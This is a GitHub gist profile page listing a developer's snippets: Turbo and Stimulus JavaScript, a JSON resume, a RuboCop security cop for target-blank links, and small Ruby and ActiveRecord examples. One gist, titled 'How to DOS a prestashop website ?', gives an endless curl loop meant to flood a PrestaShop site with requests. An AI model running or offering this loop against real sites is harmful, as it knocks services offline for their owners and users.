Skip to content

Instantly share code, notes, and snippets.

View Intrepidd's full-sized avatar

Adrien S Intrepidd

View GitHub Profile
Intrepidd / .env
Created January 2, 2024 16:25
Metabase + Kamal
Intrepidd / application.js
Created September 26, 2023 14:25
Turbo stream action to update the navigator history
window.Turbo.StreamActions.advance_history = function () {
const url = new URL(this.getAttribute('url'))
window.Turbo.navigator.view.lastRenderedLocation = url
"$schema": "",
"basics": {
"name": "Adrien Siami",
"label": "Full-Stack Software Engineer | Tech advisor for good",
"email": "",
"phone": "",
"url": "",
"summary": "Passionate about IT since my early years, I chose to specialize in web development, especially with Ruby and Javascript.\n\nI enjoy solving complex problems with code and building features that make sense to me and benefit society. \nI'm particularly sensible and interested in working on positive fields such as health, ecology, privacy, etc.\n\nI believe in open source software and have written and contributed to several open source projects from small libraries to well known web frameworks.\n\nI define myself as proactive, pragmatic, customer centric and engaged.",
"location": {
// DISCLAIMER : You can now probably use `data-turbo-action="advance"` on your frame to perform what this controller is aiming to do
// Note that you probably want to disable turbo cache as well for those page to make popstate work properly
import { navigator } from '@hotwired/turbo'
import { Controller } from '@hotwired/stimulus'
import { useMutation } from 'stimulus-use'
export default class extends Controller {
connect (): void {
Intrepidd / cop.rb
Last active December 14, 2018 16:37
class RuboCop::Cop::Security::LinkToBlank < RuboCop::Cop::Cop
MSG = 'Specify a `:rel` option containing noopener.'.freeze
def_node_matcher :link_to?, <<-PATTERN
(send nil? :link_to ...)
def_node_matcher :blank_target?, <<-PATTERN
(pair {(sym :target) (str "target")} (str "_blank"))
Intrepidd / gist:4054741
Created November 11, 2012 12:17
How to DOS a prestashop website ?
while true; do curl -F 'back=my-account&' '' -H "Content-Type:application/x-www-form-urlencoded" &;done
Intrepidd / test.rb
Created August 23, 2012 11:27 — forked from ys/My_first_thought.rb
How would you align these kind of things in Ruby?
option_1: a,
option_2: blabla,
option_3: blablablablablabla,
option_4: bblablablablablablablabla,
option_5: bblablablabla) do |v|
d = v.bla
e = v.bla
Intrepidd / example.rb
Created August 8, 2012 13:15
Case sensivity search for active record
Model.where('my_string LIKE BINARY ?', "This is a Test String")
Intrepidd / gist:2409377
Created April 17, 2012 22:04
Demo of my gem rails-canhaz
user = User.find(42)
article = Article.find(1337)
user.can?(:read, article) # Can the user read this article? false for now
user.can(:read, article) # Ok, so the user can read this article
user.can(:edit, article) # He can edit it as well
user.can?(:read, article) # Will be true
#include <iostream>
class Dad